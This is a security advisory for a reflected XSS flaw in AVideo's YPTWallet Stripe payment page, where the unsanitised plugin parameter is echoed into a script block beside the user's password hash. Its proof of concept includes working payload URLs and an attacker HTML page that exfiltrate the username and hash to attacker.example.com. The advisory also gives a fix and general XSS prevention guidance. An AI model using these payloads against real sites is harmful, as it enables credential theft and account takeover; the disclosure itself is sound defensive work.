GHSA-pm37-62g7-p768 CVE-2026-34375
AVideo Vulnerable to Reflected XSS via Unsanitized plugin Parameter in YPTWallet Stripe Payment Page
High
Packagist
- Severity
- 8.2 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.30%
- Chance of exploitation in the next 30 days. Higher than 22.85% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
- None yet
- No fixed version published
Description
Summary
The YPTWallet Stripe payment confirmation page directly echoes the $_REQUEST['plugin'] parameter into a JavaScript block without any encoding or sanitization. The plugin parameter is not included in any of the framework's input filter lists defined in security.php, so it passes through completely raw. An attacker can inject arbitrary JavaScript by crafting a malicious URL and sending it to a victim user.
The same script block also outputs the current user's username and password hash via User::getUserName() and User::getUserPass(), meaning a successful XSS exploitation can immediately exfiltrate these credentials.
Details
The Stripe confirmation page renders the plugin parameter directly into a <script> block:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
This appears inside a $.ajax() data object within a <script> tag. Because the value is injected into a JavaScript string context (not HTML), standard HTML entity encoding would not be sufficient even if it were applied. However, no encoding of any kind is performed.
The plugin parameter is not present in any of the sanitization or filtering arrays in security.php, so it arrives completely unmodified.
Immediately adjacent to the injection point, the script also exposes user credentials:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:117-118
"user": "<?php echo User::getUserName() ?>",
"pass": "<?php echo User::getUserPass(); ?>",
No Content-Security-Policy headers are configured on the application, so inline script execution is unrestricted.
Proof of Concept
The XSS is reachable through the addFunds.php page which includes the vulnerable confirmButton.php template:
https://your-avideo-instance.com/plugin/YPTWallet/view/addFunds.php?plugin=%22}})});alert(document.domain);console.log({/*
The injected value closes the JSON string and the $.ajax() call, then executes alert(document.domain). The response contains the payload unencoded in the script block:
"plugin": ""}})});alert(document.domain);console.log({/*",
Credential exfiltration payload:
https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=",x:fetch('https://attacker.example.com/steal?'+document.querySelector('script').textContent.match(/pass.*?"(.*?)"/)[1]),y:"
Simplified credential theft using the same-page credential leak:
<!-- Host this on attacker.example.com and send the link to a victim -->
<html>
<body>
<script>
// The confirmButton.php page outputs user/pass in the script block.
// XSS lets us read it directly.
var payload = encodeURIComponent(
'",x:(function(){' +
'var s=document.querySelector("script").textContent;' +
'var u=s.match(/"user":"([^"]+)"/)[1];' +
'var p=s.match(/"pass":"([^"]+)"/)[1];' +
'new Image().src="https://attacker.example.com/log?u="+u+"&p="+p;' +
'})(),y:"'
);
window.location = "https://your-avideo-instance.com/plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php?plugin=" + payload;
</script>
</body>
</html>
Reproduction steps:
- Navigate to the basic XSS URL above (substitute your target instance).
- Observe the JavaScript alert box confirming code execution.
- View the page source to confirm that
User::getUserName()andUser::getUserPass()are present in the same script block. - Use the credential exfiltration payload to demonstrate data theft.
Impact
An attacker can execute arbitrary JavaScript in the context of any authenticated user who clicks a crafted link. The impact is amplified by the credential leak on the same page:
- Immediate credential theft: The page already renders the victim's username and password hash in the script block. The XSS payload can read and exfiltrate these values without any additional requests.
- Session hijacking: Steal session cookies and impersonate the victim.
- Payment manipulation: Since this is a payment confirmation page, the attacker can modify payment amounts, redirect payment confirmations, or trigger unauthorized transactions.
- Account takeover: Combine the stolen password hash with the username for offline cracking or direct replay.
The lack of CSP headers means there are no browser-side mitigations against the injected scripts.
- CWE: CWE-79 (Cross-Site Scripting - Reflected)
- Severity: High (CVSS 8.1)
Recommended Fix
Apply htmlspecialchars() to the plugin parameter at plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116:
// plugin/YPTWallet/plugins/YPTWalletStripe/confirmButton.php:116
// Before:
"plugin": "<?php echo @$_REQUEST['plugin']; ?>",
// After:
"plugin": "<?php echo htmlspecialchars(@$_REQUEST['plugin'], ENT_QUOTES, 'UTF-8'); ?>",
Found by aisafe.io
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| wwbn/avideo | <= 26.0 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 8.2
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7cqp-7cfv-6c3q AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel | Medium | Also affects wwbn/avideo |
| GHSA-wc3f-xc32-435f AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink | High | Also affects wwbn/avideo |
| GHSA-95jh-7r58-xmxw AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data | Medium | Also affects wwbn/avideo |
| GHSA-wf69-r4mx-43rr AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration | High | Also affects wwbn/avideo |
| GHSA-8j8m-p79x-g4jm AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions | Medium | Also affects wwbn/avideo |
| GHSA-8whc-2wmv-ww35 WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin | Critical | Also affects WWBN/AVideo |
| GHSA-66q5-cj5g-wrfx WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section | Medium | Also affects WWBN/AVideo |
| GHSA-hgjh-6wj8-gcgf WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination | Medium | Also affects WWBN/AVideo |
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